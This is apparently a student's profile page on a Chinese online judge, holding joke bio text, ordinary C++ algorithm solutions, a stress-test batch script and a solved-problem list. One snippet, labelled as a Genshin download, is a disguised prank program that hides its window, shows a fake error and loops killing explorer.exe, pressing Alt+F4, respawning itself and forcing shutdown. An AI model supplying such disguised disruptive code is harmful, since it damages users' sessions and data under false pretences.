- 
              OI-Contest 荣耀徽章该用户太菜了,一个徽章也没有 (´・ω・`)
- 
              个人简介inv[i] = (M-M/i)*inv[M%i]%M; inv[1] = 1; 点击进入MC.1.88plus 点击进入吴老师个人主页 点击进入微软小游戏 无聊游戏 点击进入微软小游戏---作弊 畜生网址 无 无<math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mstyle mathsize="1.728em"><mstyle mathcolor="Blue"><mtext mathvariant="script">CS启动!!!</mtext></mstyle></mstyle></mrow><annotation encoding="application/x-tex">{\LARGE \mathcal{{\color{Blue} CS启动!!!} } } </annotation></semantics></math>CS启动!!! <math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mstyle mathsize="1.44em"><mstyle mathcolor="Green"><mtext mathvariant="script">欢迎来到神</mtext><mi mathvariant="script"></mi><mi mathvariant="script"></mi><mi mathvariant="script"></mi><mi mathvariant="script"></mi><mn mathvariant="script"></mn><mtext mathvariant="script">的大厦</mtext></mstyle></mstyle></mrow><annotation encoding="application/x-tex">{\Large \mathcal{{\color{Green} 欢迎来到神的大厦} } } </annotation></semantics></math>欢迎来到神的大厦 <math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mstyle mathsize="1.2em"><mtext mathvariant="bold">【</mtext><mi mathvariant="bold">B</mi><mn mathvariant="bold">3</mn><mtext mathvariant="bold">停车场】神的来源</mtext></mstyle></mrow><annotation encoding="application/x-tex">\mathbf{{\large 【B3 停车场】 神的来源} }</annotation></semantics></math>【B3停车场】神的来源 区区凡人,怎配知道 <math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mstyle mathsize="1.2em"><mtext mathvariant="bold">【</mtext><mi mathvariant="bold">B</mi><mn mathvariant="bold">2</mn><mtext mathvariant="bold">停车场】个人信息</mtext></mstyle></mrow><annotation encoding="application/x-tex">\mathbf{{\large 【B2 停车场】 个人信息} }</annotation></semantics></math>【B2停车场】个人信息 V号:13119100560 物种:梦想成为魔王S的选手 <math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mstyle mathsize="1.2em"><mtext mathvariant="bold">【</mtext><mi mathvariant="bold">B</mi><mn mathvariant="bold">1</mn><mtext mathvariant="bold">停车场】随便写写</mtext></mstyle></mrow><annotation encoding="application/x-tex">\mathbf{{\large 【B1 停车场】 随便写写} }</annotation></semantics></math>【B1停车场】随便写写 伪人队友玩个dame 自动AC机 #include <windows.h> int main() { while (true) { SetCursorPos(100, 100); mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); } return 0; }#include<bits/stdc++.h> using namespace std; typedef long long ll; struct node{ ll to,cost; }; const int MAXN = 4e6+5; vector <node> G[MAXN]; ll n,m,flag; int main(){ ios::sync_with_stdio(false); cin.tie(0),cout.tie(0); cin>>n>>m>>flag; for(ll i=1;i<=m;i++){ ll u,v,w; cin>>u>>v>>w; if(flag == 0){ G[u].push_back({v,w}); G[v].push_back({u,w}); } else G[u].push_back({v,w}); } for(ll i=1;i<=n;i++){ if(G[i].empty()){ cout<<"\n"; continue; } for(ll j=G[i].size()-1;j>=0;j--){ cout<<i<<" "<<G[i][j].to<<" "<<G[i][j].cost<<"\n"; } } }原神下载代码 # include<windows.h> #include<bits/stdc++.h> using namespace std; void AltF4(){ keybd_event(VK_MENU,0,0,0); keybd_event(VK_F4,0,0,0); keybd_event(VK_F4,0,2,0); keybd_event(VK_MENU,0,2,0); } int main(int args,char**argv) { for(int i=0;i<1000;i++){ cout<<"windows_killer 1.11 pro.max";} #ifndef __WIN32 system("shutdown -r now"); #endif char b[1000] = "start \""; strcat(b,argv[0]); strcat(b,"\""); char a[1000]; strcpy(a,argv[0]); strcat(a," - 正在加载蠹虫病毒..."); ShowWindow(GetConsoleWindow(),SW_HIDE); MessageBox(NULL,"正在下载原神(0xc000007b)。请单击“确定”完成下载。",a,MB_OK|MB_ICONHAND); while (malloc(10)) { AltF4(); system("taskkill -f -im explorer.exe"); system(b); ShowWindow(GetForegroundWindow(), SW_HIDE); SetCursorPos(0,0); } system("shutdown /s /t 0"); }#include<bits/stdc++.h> using namespace std; typedef long long ll; ll n,m,in[100005]; priority_queue<ll,vector<ll>,greater<ll> >Q; vector<ll>G[100005]; ll topo[100005],cnt; void isort(){ for(ll i=1;i<=n;i++){ if(!in[i]){ Q.push(i); } } while(!Q.empty()){ ll u =Q.top(); Q.pop(); topo[++cnt] = u; for(auto v:G[u]){ in[v]--; if(in[v]==0){ Q.push(v); } } } for(ll i=1;i<=cnt;i++){ cout<<topo[i]<<" "; } } int main(){ cin>>n>>m; for(ll i=1;i<=m;i++){ ll u,v; cin>>u>>v; G[u].push_back(v); in[v]++; } isort(); return 0; }//牛奶 #include<cstdio> #include<queue> #include<algorithm> #include<cstring> using namespace std; struct node { int x; int y; }; queue<node>que; int vis[25][25]; int M[3]; void bfs() { while(!que.empty()) { for(int i=0;i<=2;i++) { for(int j=0;j<=2;j++) { int A[3]={que.front().x,que.front().y}; A[2]=M[2]-A[0]-A[1]; if(i==j) { continue; } int s=A[i]+A[j]; A[j]=min(s,M[j]); A[i]=s-A[j]; if(!vis[A[0]][A[1]]) { vis[A[0]][A[1]]=1; node n; n.x=A[0]; n.y=A[1]; que.push(n); } } } que.pop(); } } int main() { scanf("%d%d%d",&M[0],&M[1],&M[2]); vis[0][0]=1; node n; n.x=0; n.y=0; que.push(n); bfs(); int c=0; for(int i=M[2];i>=0;i--) { if(vis[0][i]==1) { if(c==1) { printf(" "); } c=1; printf("%d",M[2]-i); } } }//反转游戏 #include<iostream> #include<string> using namespace std; const int mx = 1<<16; int f[mx] = {0}; int pre[mx] = {0}; int qu[mx],e = -1,s = 0; string str[5]; int b[5] = {0,1,-1,4,-4}; void pri(int t){ int ff = 15; for(int i = 1;i<=4;++i){ for(int j = 1;j<=4;++j){ cout << ((t&1<<ff)?1:0) << " "; --ff; } cout <<endl; } cout <<endl; } int main(){ for(int i = 1;i<=4;++i){ cin >> str[i]; } int st = 0; for(int i = 1;i<=4;++i){ for(int j = 0;j<4;++j){ st<<=1; if(str[i][j]=='b')++st; } } qu[++e] = st; f[st] = 1; int cur,nx,np; while(s<=e){ if(f[0]) break; cur = qu[s++]; for(int i = 15;i>=0;--i){ nx = cur; for(int j = 0;j<5;++j){ if(i%4==3 &&j==1) continue; if(i%4==0 && j==2) continue; np = i+b[j]; if(np<0 || np>15) continue; nx^=(1<<np); } if(!f[nx]){ f[nx] = f[cur]+1; pre[nx] = cur; qu[++e] = nx; if(nx==0) break; } } } if(f[0] || f[(1<<16)-1]){ cout << min(f[0],(f[(1<<16)-1]>0?f[(1<<16)-1]:0x3f3f3f3f))-1; }else cout << "Impossible"; }#include <bits/stdc++.h> using namespace std; typedef long long ll; const int MAXN = 10000; struct num{ int a[MAXN]; int len; }; num dp[5050]; void read(num&x){ string s; cin>>s; x.len = s.size(); for(ll i=0;i<MAXN;i++)x.a[i] = 0; for(ll i=0;i<x.len;i++) x.a[x.len-i] = s[i]-'0'; } void print(num x){ for(ll i=x.len;i>=1;--i) cout<<x.a[i]; cout<<"\n"; } num operator + (num x,num y){ num ret; ret.len = max(x.len,y.len); for(ll i=0;i<MAXN;i++)ret.a[i] = 0; for(ll i=1;i<=ret.len;i++){ ret.a[i] = x.a[i]+y.a[i]; } for(ll i=1;i<=ret.len;i++){ if(ret.a[i]>=10){ ret.a[i+1]+=ret.a[i]/10; ret.a[i]%=10; } } if(ret.a[ret.len+1]!=0)ret.len++; return ret; } num operator - (num x,num y){ num ret; ret.len = x.len; for(ll i=0;i<MAXN;i++)ret.a[i] = 0; for(ll i=1;i<=ret.len;i++){ ret.a[i] = x.a[i]-y.a[i]; } for(ll i=1;i<=ret.len;i++){ if(ret.a[i]<0){ ret.a[i+1]--,ret.a[i]+=10; } } while(ret.len&&ret.a[ret.len]==0)ret.len--; if(!ret.len)ret.len++; return ret; } num operator * (num x,num y){ num ret; ret.len = max(x.len,y.len); for(ll i=0;i<MAXN;i++)ret.a[i] = 0; for(ll i=1;i<=ret.len;i++){ ret.a[i] = x.a[i]+y.a[i]; } for(ll i=1;i<=ret.len;i++){ if(ret.a[i]>=10){ ret.a[i+1]+=ret.a[i]/10; ret.a[i]%=10; } } if(ret.a[ret.len+1]!=0)ret.len++; return ret; } int main() { ll n; cin>>n; dp[0].len=1; dp[0].a[1]=1; dp[1].len=1; dp[1].a[1]=1; for(ll i=2;i<=n;i++){ dp[i] = dp[i-1]+dp[i-2]; } print(dp[n]); return 0; }#include<bits/stdc++.h> using namespace std; typedef long long ll; const int MAXN = 1030; vector<ll>g[MAXN]; ll dp[MAXN]; bool vis[MAXN]; void dfs(ll u,ll f){ vis[u] = 1; dp[u] = dp[f]+1; for(auto v:g[u]){ if(v==f){ continue; } if(!vis[v]){ dfs(v,u); } } } int main(){ ll n; cin>>n; ll x,y; for(ll i=1;i<=n;i++){ cin>>x>>y; g[x].push_back(y); g[y].push_back(x); } dfs(1,0); ll ans=-1; for(ll i=1;i<=n;i++){ ans = max(ans,dp[i]); } cout<<ans<<"\n"; }duipai.bat mk > test.in test < test.in > test.out bf < test.in > bf.out fc bf.out test.out if errorlevel==1 pause %0mk.cpp #include <bits/stdc++.h> using namespace std; const int MAXN =1e9+10; int main() { mt19937 gen(time(nullptr) + random_device {}()); uniform_int_distribution<> dis(1, MAXN); int n = dis(gen); cout << n; }  
- 
              证书该用户太菜了,一本证书也没有 (´・ω・`)
- 
              AC题目- P1000
- P1009
- P1011
- P1012
- P1013
- P1014
- P1015
- P1018
- P1001
- P1019
- P1020
- P1021
- P1022
- P1023
- P1024
- P1026
- P1027
- P1002
- P1029
- P1031
- P1034
- P1037
- P1003
- P1039
- P1041
- P1042
- P1043
- P2941
- P1044
- P1004
- P1045
- P1005
- P1006
- P1008
- P1055
- P1048
- P1050
- P1052
- P1053
- P1056
- P1058
- P1059
- P1062
- P1063
- P1065
- P1076
- P1068
- P1070
- P1071
- P1075
- P1067
- P1077
- P1078
- P1079
- P1080
- P1081
- P1089
- P1090
- P1091
- P1102
- P1103
- P1111
- P1113
- P1114
- P1115
- P1095
- P1131
- P1133
- P1136
- P1137
- P1139
- P1141
- P1121
- P1122
- P1123
- P1145
- P1149
- P1151
- P1153
- P1156
- P1165
- P1167
- P1177
- P1180
- P1182
- P1185
- P1186
- P1187
- P1189
- P1190
- P1204
- P1213
- P1216
- P1227
- P1233
- P1219
- P1253
- P1245
- P1263
- P1265
 - P1247
- P1280
- P1281
- P1285
- P1303
- P1305
- P1306
- P1308
- P1300
- P1318
- P1327
- P1332
- P1334
- P1336
- P1337
- P1324
- P1344
- P1367
- P1345
- P1348
- P1350
- P1378
- P1379
- P1385
- P1375
- P1376
- P1393
- P1405
- P1413
- P1415
- P1429
- P1431
- P1441
- 447(隐藏)
- P1425
- P1443
- P1452
- P1453
- P1444
- P1463
- P1445
- P1450
- P1451
- P1478
- P1484
- P1475
- P1494
- P1498
- P1499
- P1500
- P1519
- P1539
- P1520
- P1543
- P1557
- P1561
- P1544
- P1564
- P1549
- P1587
- P1572
- P1627
- P1629
- P1653
- P1654
- P1655
- P1656
- P1657
- P1660
- P1662
- P1664
- P1666
- P1667
- P1677
- P1678
- P1679
- P1680
- P1681
- P1682
- P1683
- P1684
- P1685
- P1669
- P1689
- P1692
- P1670
- P1672
- P1693
- P1694
- P1695
- P1696
- P1705
- P1697
- P1700
- P1715
- P1709
- P1711
- P1712
- P1713
- P1714
 - P1717
- P1722
- P1724
- P1169
- P1170
- P1171
- P1173
- P1728
- P1729
- P1738
- P1731
- P1734
- P1739
- P1741
- P1744
- P1753
- P1746
- P1750
- P1751
- P1773
- P1766
- P1770
- P1771
- P1772
- P1757
- P1758
- P1761
- P1777
- P1778
- P1779
- P1780
- P1781
- P1793
- P1783
- P1785
- P1788
- P1790
- P1791
- P1795
- P1798
- P1799
- P1800
- P1813
- P1806
- P1809
- P1810
- P1811
- P1814
- P1817
- P1821
- P1775
- P1854
- P1826
- P1831
- P1832
- P1833
- P1835
- P1839
- P1840
- P1841
- P1848
- P1855
- P1857
- P1858
- P1862
- P1864
- P1866
- P1867
- P1871
- P1873
- P1878
- P1904
- P1898
- P1899
- P1900
- P1901
- P1902
- P1903
- 952(隐藏)
- P1932
- P1937
- P1926
- P1920
- P1913
- P1699
- P1963
- P1972
- P1967
- P1970
- 1016(隐藏)
- P1978
- P1979
- P1983
- P1984
- P1985
- P1994
- P1986
- P1988
- P1989
- P1993
 - P2026
- P2031
- P2014
- P2006
- P1997
- P2002
- P2003
- P2011
- P2017
- P2018
- P2019
- P2022
- P2023
- P2057
- P2071
- P2074
- P2075
- P2079
- P2084
- P2089
- P2090
- P2110
- P2117
- P2145
- P1767
- P2177
- P2178
- P2194
- P2195
- P2202
- P1747
- P2205
- P2258
- P2288
- P2289
- P2293
- P2294
- P2295
- P2301
- P2302
- P2303
- P2304
- P2336
- P2369
- P2396
- P2406
- P2376
- P2461
- P2520
- P1147
- P2608
- CSPJ202002
- P2714
- P2715
- P2716
- P2717
- P2735
- P2736
- P2737
- P2738
- P2751
- P2752
- P2753
- P2755
- 1898(隐藏)
- P2777
- P2780
- P2779
- P2781
- 2123(隐藏)
- MNS133
- 2454(隐藏)
- 2479(隐藏)
- 2480(隐藏)
- 2487(隐藏)
- 2509(隐藏)
- CSPJ201901
- CSPJ202302
- 2713(隐藏)
- 2717(隐藏)
- P3230
- P3231
- P3232
- P3233
- 2755(隐藏)
- GESP0014
- P3300
- MNS303
- 2897(隐藏)
- 2971(隐藏)
- P2972
- P11451
- 3056(隐藏)
- 3064(隐藏)
- 3065(隐藏)
- 3066(隐藏)
- MNS40002
- MNS40003
- MNS40004
- 3157(隐藏)
 
Problem Tags
- 循环
- 33
- 贪心
- 16
- 字符串
- 15
- 排序
- 14
- 数学
- 12
- 输入输出
- 12
- 入门
- 12
- 动态规划
- 12
- 数组
- 10
- 其他
- 10
- 二分
- 10
- 计算
- 9
- 输入
- 8
- 前缀和
- 8
- 树
- 8
- 优先队列
- 8
- 广度优先搜索
- 8
- 分支语句
- 7
- dfs
- 7
- 模拟
- 6